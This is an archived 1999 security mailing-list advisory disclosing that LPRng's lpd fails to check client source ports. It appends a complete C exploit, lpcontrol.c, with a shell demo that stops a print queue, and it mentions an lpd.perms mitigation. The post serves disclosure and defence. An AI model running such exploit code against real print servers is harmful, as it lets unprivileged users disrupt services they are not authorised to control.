Security problem with LPRng

From: Chris Leishman (masklinat_private)
Date: Thu Jul 01 1999 - 18:38:13 PDT

  • Next message: Salvatore Sanfilippo -antirez-: "cfingerd 1.3.2"

    --ZGiS0Q5IWpPtfppv
    Content-Type: text/plain; charset=us-ascii
    Content-Transfer-Encoding: quoted-printable
    
    Hi all,
    
    During some recent work I've been doing with LPRng, I found that is is
    possible (on a default LPRng installation) to control the print queues on
    the LPRng server.
    
    Most default installations allow the root user at the localhost to send
    control commands to the LPRng lpd server.  The authentication used is to
    make sure that the packets are sent from a low (priviledged) source port
    (RFC1179 specifies ports 721-731, although the LPRng howto specifies that
    this has been extended to 512-1023).  This is why the lpc utility is usually
    installed SUID root.
    
    However, it appears that LPRng's lpd server fails to check the source port
    correctly, so using a modified client that uses ports outside the allowed=
    =20
    range the server will accept the command.
    
    An exploit that uses this technique to stop or start a print queue is appen=
    ded=20
    to this advisory.  It was written and tested on Debian GNU/Linux.  It is us=
    ed=20
    in the following way:
    
    host:~$ /usr/sbin/lpc status
     Printer           Printing Spooling Jobs  Server   Slave Redirect Status/D=
    ebug
    lp@host             enabled  enabled    0    none    none
    host:~$ gcc lpcontrol.c=20
    host:~$ ./a.out
    Usage: ./a.out printer [stop|start]
    host:~$ ./a.out lp stop
    host:~$ /usr/sbin/lpc status
     Printer           Printing Spooling Jobs  Server   Slave Redirect Status/D=
    ebug
    lp@host            disabled  enabled    0    none    none
    host:~$
    
    
    The author (papowellat_private) has been notified, but the problem has not
    been fully acknowledged.  Aside from a lot of random (and generally useless=
    )=20
    commentry regarding the insecurity of LPRng, NFS, SUID root programs, etc, =
    the=20
    only usefull suggestion was to add
    
    REJECT=3DX NOT PORT=3D1-1023
    
    to the lpd.perms control file.
    
    One thing that he did mention is quoted below:
    
    >	You don't consider SETUID ROOT programs such as a particular
    >	implementation of lpq that has a stack overflow problem when
    >	you return long status to be a problem...
    
    I haven't looked for stack overflows in detail yet, but this is a little
    conserning since the default is to install lpq, lpc, etc SUID root.  While
    I hope to have a good look into it, the code is extremely difficult to foll=
    ow.
    
    
    Have a nice day all,
    
    Chris Leishman
    
    
    
    ---- start lpcontrol.c ----------------------------------------------
    /* Exploit for lprng's source port check failure.
     * Written and tested on Debian GNU/Linux
     *
     * Chris Leishman <masklinat_private>
     */
    
    
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <errno.h>
    #include <string.h>
    
    
    #define SRC_PORT 2056
    #define HOST "127.0.0.1"
    #define DST_PORT 515
    
    
    int main(int argc, char **argv)
    {
    	int sock;
    	struct sockaddr_in dest_sin;
    	struct sockaddr_in src_sin;
    	struct hostent *hp;
    	unsigned long ipnum;
    	char line[256];
    	int mode =3D 0;
    
    	if (argc < 2)
    	{
    		fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
    		exit(EXIT_FAILURE);
    	}
    
    	if (argc >=3D 3)
    	{
    		if (!strcmp(argv[2], "start"))
    			mode =3D 1;
    		else if (strcmp(argv[2], "stop"))
    		{
    			fprintf(stderr, "Invalid mode.  Use stop or start.\n");
    			fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
    			exit(EXIT_FAILURE);
    		}
    	}
    	=09
    	snprintf(line, sizeof(line), "%c%s root %s %s\n",=20
    	         6, argv[1], (mode)? "start":"stop", argv[1]);
    
    	memset(&dest_sin, 0, sizeof(struct sockaddr_in));
    	dest_sin.sin_port =3D htons((short) DST_PORT);
    
    	ipnum =3D (unsigned long) inet_addr(HOST);
    	if (ipnum !=3D ((unsigned long) INADDR_NONE))
    	{
    		dest_sin.sin_family =3D AF_INET;
    		dest_sin.sin_addr.s_addr =3D ipnum;
    	}
    	else
    	{
    		if ((hp =3D gethostbyname(HOST)) =3D=3D NULL)
    		{
    			fprintf(stderr, "Host lookup failed.\n");
    			exit(EXIT_FAILURE);
    		}
    
    		dest_sin.sin_family =3D hp->h_addrtype;
    		memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
    		   (size_t)hp->h_length);
    	}
    
    	if ((sock =3D socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
    		perror("Socket call failed");
    		exit(EXIT_FAILURE);
    	}
    
    	src_sin.sin_family =3D AF_INET;
    	src_sin.sin_addr.s_addr =3D INADDR_ANY;
    	src_sin.sin_port =3D htons((u_short) SRC_PORT);
    
    	if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
    	{
    		perror("Bind failed");
    		exit(EXIT_FAILURE);
    	}
    
    	if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
    	{
    		close(sock);
    		perror("Connect failed");
    		exit(EXIT_FAILURE);
    	}
    
    	if (write(sock, line, strlen(line)) <=3D 0)
    	{
    		perror("Write failed");
    		exit(EXIT_FAILURE);
    	}
    
    	close(sock);
    
    	return EXIT_SUCCESS;
    }
    
    ---- stop lpcontrol.c -----------------------------------------------
    
    
    --=20
    ----------------------------------------------------------------------
           As a computer, I find your faith in technology amusing.
    ----------------------------------------------------------------------
    Reply with subject 'request key' for PGP public key.  KeyID 0xA9E087D5
    
    --ZGiS0Q5IWpPtfppv
    Content-Type: application/pgp-signature
    
    -----BEGIN PGP SIGNATURE-----
    Version: 2.6.3ia
    
    iQEVAwUBN3wYA89DwoOp4IfVAQFP5gf7Bi/YTybIm73Dx6ixjqWgqsIoeL/FIooU
    lznuqszYLKlAdil0jBvuX8RTjgbLnMe/pAYSei+er+XwMq/FSbME/jQXC8vYfSDw
    R3cSAmRzMIQOF8t5RrAX4J8AhTrYIirMjkm9ImViX+HmFbSikNbpxqTU5wjQ4bvg
    ifcspTvljmhCdXhGxS+qB6HU7OkOTxvUXRmsFG9TlS7knyvSTwTmjhiA3uofOo5c
    GDskgKPt6dZQ7+aHknSrHgRV3ym/wGFs/4bvKCGvHVcl/PUMBklEjtTfYa20eoyz
    s0jSKnYJD9pJneIJcGqbHvcvy/22c++y0cLUgYHncBbWdAz/fmea4A==
    =uwV5
    -----END PGP SIGNATURE-----
    
    --ZGiS0Q5IWpPtfppv--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:51:23 PDT